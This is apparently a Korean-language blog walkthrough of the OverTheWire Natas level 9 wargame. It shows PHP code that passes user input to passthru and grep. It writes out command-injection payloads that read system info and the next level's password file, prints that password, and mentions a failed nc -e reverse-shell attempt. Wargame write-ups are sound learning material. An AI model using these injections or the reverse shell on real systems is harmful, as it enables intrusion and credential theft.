본문 바로가기

워게임/NATAS-overthewire.org

[워게임 Natas] 레벨 9 문제 풀이

Natas Level 8 → Level 9

Username: natas9

URL:      http://natas9.natas.labs.overthewire.org


9단계 비밀번호는 이 글을 참고하세요.




1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>
Output:
<pre>
<?
$key = "";
 
if(array_key_exists("needle"$_REQUEST)) {
    $key = $_REQUEST["needle"];
}
 
if($key != "") {
    passthru("grep -i $key dictionary.txt");
}
?>
</pre>
cs


이제 좀 더 심화된 문제이다.

무엇인지 모르는 key를 찾아야한다.

key가 맞지 않으면 dictionary.txt 파일에서 검색하여 입력한 key를 잡아낸다.

dictionary.txt 파일 크기는 대단히 크다.

a 부터 z까지 수많은 단어들이 존재한다.

그래서 이 파일은 별로 필요하지 않은 듯하고..


passthru 함수를 보면,

http://php.net/manual/kr/function.passthru.php


외부 프로그램을 실행하고 표시하는 시스템 명령 함수이다. system()이나 exec()와 같은 취약한 함수이다.

그럼 이건 Command injection 공격을 사용하는 것같다.



한번 /bin/bash 명령어를 주입해봤더니 잘 뜬다.

reverse shell이 가능한지 nc -e [아이피] [포트] 로 시도했는데 잘 안된다.

command injection이 있어서 소스코드의 이해는 별 필요없다.


;cat /proc/version; 명령어를 입력해보면 저 서버의 버젼이 뜬다!

Linux version 4.5.5-x86_64-linode69 (maker@build) (gcc version 4.7.2 (Debian 4.7.2-5) ) #3 SMP Fri May 20 15:25:13 EDT 2016


근데 취약한 버젼이 아니라서 별 필요는 없다.


;id; 명령어를 입력하면 현재 무슨 계정으로 공격하는지 알 수 있다.

uid=30009(natas9) gid=30009(natas9) groups=30009(natas9)


root 권한은 아니다. 커맨드 인젝션은 여러가지를 입력하고 볼 수 있어서 정말 재밌다.

하지만 문제를 푸려면 나타스10의 비밀번호를 찾아야한다.


아래 명령어를 입력하면

;find / -user natas9 2> /dev/null;

/etc/natas_webpass/natas9

/dev/pts/15

/var/www/natas/natas9

/var/www/natas/natas9/index.php

/var/www/natas/natas9/.htpasswd

/var/www/natas/natas9/index-source.html

/var/www/natas/natas9/dictionary.txt

/var/www/natas/natas9/index.php.tmpl

/var/www/natas/natas9/.htaccess


위와 같은 출력이 나오는데 맨 위에 있는 /etc/natas_webpass/natas9 이 바로 현재 사용자의 비밀번호를 저장하고 있는 파일이다.

참고로 2> /dev/null은 에러가 발생할 때 null 인터페이스로 보내서 출력창을 어지럽게 하지 않는 것이다. 유용한 것이니 알아두자.

그럼 아래 명령어를 입력해볼까.


;find / -user natas10 2> /dev/null;

/etc/natas_webpass/natas10

/var/www/natas/natas10 - 권한없음


딱 두 줄만 뜬다.

두번째 줄은 ls 명령어로 살펴보려 했으나 권한이 없는지 확인할 수 없었다.

첫번째 줄이 어차피 답이니 cat 명령어로 출력한다.


;cat /etc/natas_webpass/natas10;

nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu


끝.